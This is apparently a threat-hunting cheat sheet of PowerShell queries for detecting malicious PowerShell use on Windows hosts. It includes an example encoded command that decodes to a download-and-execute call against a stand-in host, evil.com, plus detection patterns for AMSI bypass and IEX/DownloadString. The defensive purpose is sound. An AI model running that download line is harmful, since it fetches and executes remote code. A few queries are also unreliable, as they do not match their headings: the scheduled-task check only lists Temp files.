Process Tree
Purpose : hunt for malicious/suspicious process like powershell
Copy Get-CimInstance Win32_Process |
Where-Object {$_.Name -match 'powershell|pwsh'} |
Select-Object ProcessId,ParentProcessId,CommandLine |
Sort-Object ParentProcessId
Hunt For :
explorer.exe
→ cmd.exe
→ powershell.exe
chains
Parent processes like winword.exe
spawning PowerShell
PowerShell Process Command Lines
Purpose : Uncover hidden execution parameters
Copy Get-CimInstance Win32_Process |
Where-Object { $_.Name -match 'powershell|pwsh' -and $_.CommandLine -ne $null } |
Select-Object ProcessId,CommandLine |
Format-Table -Wrap
Hunt For :
-EncodedCommand
with base64
IEX (New-Object Net.WebClient).DownloadString()
patterns
Uncommon arguments like -nop -w hidden -ep bypass
Example :
Copy powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand "SQBleABlACAobkV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zaGVsbC5wcycp"
||
||
Iex (New-Object System.Net.WebClient).DownloadString('http://evil.com/shell.ps1')
PowerShell Binary Hashes
Purpose : Verify authentic PowerShell executables
Copy Get-Process -Name powershell*, pwsh* |
Where-Object { $_.Path } |
ForEach-Object {
[PSCustomObject]@{
Name = $_.Name
Path = $_.Path
SHA256 = (Get-FileHash -Path $_.Path -Algorithm SHA256).Hash
}
} | Format-Table -AutoSize
Hunt For :
Hashes not matching Microsoft-signed binaries
PowerShell running from Temp
or AppData
PowerShell Process Start Times
Purpose : Identify new/unexpected instances
Copy Get-Process -Name powershell*, pwsh* |
Where-Object { $_.StartTime } |
Sort-Object StartTime |
Select-Object Name,Id,StartTime -Last 5
Hunt For :
Processes started at odd hours (e.g., 2 AM)
Multiple instances spawned within seconds
PowerShell Network Connections
Purpose : Detect C2 communications
Copy Get-NetTCPConnection -State Established |
Where-Object { (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'powershell|pwsh' } |
Select-Object LocalAddress,RemoteAddress,RemotePort,@{N='Process';E={(Get-Process -Id $_.OwningProcess).Name}}
Hunt For :
Connections to cloud IPs (AWS/Azure DigitalOcean)
Ports 443, 8443, 4443 with no SSL handshake
Office apps (winword.exe
) spawning PowerShell
explorer.exe
→ cmd.exe
→ powershell.exe
chains
PowerShell Parent Processes
Purpose : Uncover injection chains
Copy Get-CimInstance Win32_Process |
Where-Object { $_.Name -match 'powershell|pwsh' } |
Select-Object ProcessId,ParentProcessId,CommandLine |
ForEach-Object {
$parent = Get-Process -Id $_.ParentProcessId -ErrorAction SilentlyContinue
[PSCustomObject]@{
PowerShell_PID = $_.ProcessId
Parent_Name = $parent.Name
Parent_PID = $_.ParentProcessId
CommandLine = $_.CommandLine
}
} | Format-Table -Wrap
Hunt For :
Office apps (winword.exe
) spawning PowerShell
explorer.exe
→ cmd.exe
→ powershell.exe
chains
PowerShell Loaded Modules
Purpose : Detect in-memory injection
Copy Get-Process -Name powershell*, pwsh* |
Select-Object Name,Id,@{N='Modules';E={$_.Modules.ModuleName -join ';'}} |
Where-Object { $_.Modules -like "*tmp*" -or $_.Modules -like "*appdata*" }
Hunt For :
DLLs loaded from Temp
folders
Missing Microsoft-signed core modules
PowerShell Script Block Logs
Purpose : Extract executed code blocks
Copy Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 |
Where-Object { $_.Id -eq 4104 } |
Select-Object TimeCreated,@{N='Command';E={$_.Properties[0].Value}} |
Format-Table -Wrap
Hunt For :
Invoke-Expression
with external URLs
AMSI bypass patterns ([Ref].Assembly.GetType()
)
PowerShell Process ACLs
Purpose : Check for suspicious ownership
Copy Get-Process -Name powershell*, pwsh* |
ForEach-Object {
$owner = (Get-Acl -Path "\\?\handle::$($_.Id)").Owner
[PSCustomObject]@{
ProcessId = $_.Id
Owner = $owner
BinaryPath = $_.Path
}
}
Hunt For :
Processes owned by NT AUTHORITY\SYSTEM
with network calls
Unknown user accounts running PowerShell
Check for Scheduled Tasks Created by PowerShell
Purpose : Detect if powershell.exe is used to create scheduled tasks, a common persistence technique.
Copy Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Check for Files Added to Temp Folder by PowerShell
Purpose : Identify suspicious files (e.g., .ps1, .exe, .dll) created in the Temp folder, potentially by PowerShell.
Copy Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Check for Files Added to AppData Folder by PowerShell
Purpose : Detect suspicious files in the AppData folder, a common drop location for PowerShell-dropped malware.
Copy Get-ChildItem -Path $env:APPDATA -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime
Hunt for Other Files Created by PowerShell
Purpose : Identify new files created system-wide (outside Temp/AppData) that might be PowerShell-related.
Copy Get-ChildItem -Path "C:\" -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and $_.DirectoryName -notlike "*$env:TEMP*" -and $_.DirectoryName -notlike "*$env:APPDATA*" -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime, DirectoryName
Hunt for PowerShell Activity in Event Logs
Purpose : Detect suspicious PowerShell commands (e.g., Invoke-Expression, DownloadString) that might indicate file creation or task scheduling.
Copy Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "Invoke-Expression|DownloadString|IEX" | Select-Object TimeCreated, Message
Hunt for PowerShell Interaction with WMI
Purpose : check if powershell.exe is running, interacting with WMI, or calling WMI classes
Copy # 1. Check PowerShell module logs (ID 4103) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4103 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message
# 2. Check PowerShell script block logs (ID 4104) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message
# 3. Check WMI activity logs for PowerShell involvement
Get-WinEvent -LogName "Microsoft-Windows-WMI-Activity/Operational" | Where-Object { $_.Message -like "*powershell*" } | Select-Object TimeCreated, Message
# 4. Check PowerShell command history for WMI calls
Get-History | Where-Object { $_.CommandLine -like "*WMI*|*Win32_*|*Get-WmiObject*|*Get-CimInstance*" } | Select-Object CommandLine, StartExecutionTime
Hunt for Newly Created User Accounts
Purpose : Identify recently created user accounts in Active Directory to detect potential malicious activity (e.g., unauthorized account creation for persistence or lateral movement) for threat hunting.
Copy Get-ADUser -Filter * -Properties WhenCreated, CreatedBy, LastLogonDate |
Where-Object { $_.WhenCreated -ge (Get-Date).AddDays(-7) } |
Select-Object Name, SamAccountName, WhenCreated, CreatedBy, LastLogonDate, DistinguishedName |
Sort-Object WhenCreated -Descending |
Format-Table -AutoSize
Hunt for int process of Network Connection
Purpose : Identify processes with anomalous network connections (e.g., spoofed IPs, unexpected outbound traffic, or impersonated system services) to detect potential malware or lateral movement.
Copy Get-NetTCPConnection -State Established | Where-Object {
$_.RemoteAddress -notmatch '^(127\.|0\.0\.0|::1)' -and
(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'svchost|powershell|wscript'
} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State,
@{Name="Process"; Expression={(Get-Process -Id $_.OwningProcess).Name}},
@{Name="PID"; Expression={$_.OwningProcess}},
@{Name="ProcessPath"; Expression={(Get-Process -Id $_.OwningProcess).Path}} |
Format-Table -AutoSize